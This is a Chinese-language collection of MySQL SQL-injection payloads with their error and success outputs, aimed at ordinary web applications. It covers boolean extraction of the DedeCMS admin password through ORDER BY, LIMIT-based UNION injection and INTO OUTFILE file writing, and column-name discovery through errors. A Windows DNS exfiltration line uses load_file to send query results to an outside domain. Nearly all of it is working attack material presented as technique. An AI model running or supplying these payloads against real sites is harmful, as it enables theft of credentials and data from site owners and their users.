select * From dede_member_guestbook where mid = '1' order by mid , if ( ASCII ( SUBSTRING (( select pwd from dede_admin where id = 1 ), 1 , 1 ))= 55 , 1 ,( select pwd from dede_member )) asc ;
一、 order by 的参数注入技巧: 两种方法,思路都一样。
example. “select username,password from uc_members order by”.$_GET['oderby']
a.常见的利用方法:
1.[SQL] select username,password from uc_members order by 1,If((select 1)=2,1,(select value from uc_settings));
返回错误:[Err] 1242 - Subquery returns more than 1 row
2.[SQL] select username,password from uc_members order by 1,
If((select 1)=1,1,(select value from uc_settings))
;
返回正常。
b.国外paper看到的方法:
1.[SQL] select username,password from uc_members order by 1,
(select case when(2<1) then 1 else 1*(select username from uc_members)end)=1
;<排序条件不一样>
返回错误:[Err] 1242 - Subquery returns more than 1 row
2.[SQL] select username,password from uc_members order by 1,(select case when(2>1<
注入语句在这里
>) then 1 else 1*(select username from uc_members)end)=1;
返回正常。
另外一种子查询方法: 在order by后面使用 逗号,那么后面的语句也属于order by的一部分,再在最后加上一个asc
二、limit 的参数注入技巧:
a .order by之后的limit参数 的注入,因为正常的sql语句order by后无法接union,所以没有好办法,就一个鸡肋思路 :into outfile '/www/root/xxx.php';
b.
limit前无order by时的注
入,那就方便多了,后面可以直接接union select ,随便怎么注都行了:
select * from cdb_members limit 1 union select 1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7
这里还有个技巧,使
用procedure analyse可以获取字段名称
:
select * from cdb_members where uid=1 limit 1,1
procedure analyse()
不过procedure analyse同样不能使用在order by之后:<这里实际上可以,见其他文档>
[SQL] select * from cdb_members order by uid desc limit 1
procedure analyse()
[Err] 1386 - Can't use ORDER clause with this procedure
三、无法猜测字段时的技巧:
在 mysql5以下版本 或者information_schema 无法访问的时候,无法猜到某个表的字段名,于是可以采用这个办法, 在子查询中使用%0,报错获得列名 。以ucenter的uc_members为例。
1.猜测列数:SELECT 1 FROM `uc_members` where (SELECT * FROM `uc_members`)=(1)
返回错误:#1241 - Operand should contain 12 column(s)
2.SELECT 1 FROM `uc_members` where
(1,2,3,4,5,6,7,8,9,10,11,12)
=
(SELECT * FROM `uc_members` union select 1,2,3,4,5,6,7,8,9,10,11,12 limit 1)
返回正常。
3.SELECT 1 FROM `uc_members` where (1,2,3,4,5,6,7,8,9,10,11,12)=(SELECT * FROM `uc_members` union select 1
%0
,2,3,4,5,6,7,8,9,10,11,12 limit 1)<
5.5.20不行
>
返回错误:#1048 - Column '
uid
' cannot be null
4.SELECT 1 FROM `uc_members` where (1,2,3,4,5,6,7,8,9,10,11,12)=(SELECT * FROM `uc_members` union select 1,2
%0
,3,4,5,6,7,8,9,10,11,12 limit 1)
返回错误:#1048 - Column
'username'
cannot be null
5. ……
注:5.1以上版本不适用,字段必须为非空(not null)
四、windows下利用dns解析盲注的技巧:
如果盲注很累,或者 页面无论and 1=1还是and 1=2的时候返回都一模一样 ,这个时候利用 dns进行注入是个不错的方 法,前提是 win环境root权限下的mysql ,利用 load_file函数读取远程文件 的思路。本地搭建一个dns服务器,然后将特定域名的NS server转过来。然后进行注入,并抓包。
本地测试了下(实际注入中单引号可以编码):select load_file(concat('\\\\aaa1.',(select user()),'.oldjun.com\\a.txt')),抓包成功获得select的结果:
29 28.524843 192.168.9.107 192.168.1.2 DNS Standard query A [email protected]
join...as :
mysql> select * from mysql.user where exists(select * from (select * from func a join func b) as c);ERROR 1060 (42S21): Duplicate column name 'name'
mysql> select * from mysql.user where exists(select * from (select * from func a join func b using(name)) as c);
ERROR 1060 (42S21): Duplicate column name 'ret'
mysql> select * from mysql.user where exists(select * from (select * from func a join func b using(name,ret)) as c);
ERROR 1060 (42S21): Duplicate column name 'dl'
rand(true)
rand(false)
order by rand (( select char ( substring ( table_name , 1 , 1 )) from information_schema . tables limit 1 )<= 128 ))